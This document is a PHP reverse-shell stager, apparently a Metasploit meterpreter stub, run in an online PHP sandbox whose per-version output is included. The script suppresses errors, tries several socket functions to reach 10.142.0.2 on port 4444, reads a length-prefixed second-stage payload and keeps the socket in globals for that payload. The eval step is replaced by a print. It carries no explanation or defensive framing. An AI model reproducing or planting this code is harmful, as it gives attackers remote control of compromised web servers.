<?php error_reporting(0);
$ip = '10.142.0.2';
$port = 4444;
$ipf = AF_INET;
if (FALSE !== strpos($ip, ":")) { $ip = "[". $ip ."]";
$ipf = AF_INET6;
}if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port);
$s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) { $s = $f($ipf, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) { die();
} $s_type = 'socket';
} else { die('no socket funcs');
}if (!$s) { die('no socket');
}switch ($s_type) { case 'stream': $len = fread($s, 4);
break;
case 'socket': $len = socket_read($s, 4);
break;
}if (!$len) { die();
}$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b));
break;
case 'socket': $b .= socket_read($s, $len-strlen($b));
break;
}}$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
print($b);
die();
- Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Process exited with code 255.- Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.37, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33
- no socket
- Output for 4.3.0 - 4.3.1
Process exited with code 139.
preferences:
326.1 ms | 405 KiB | 379 Q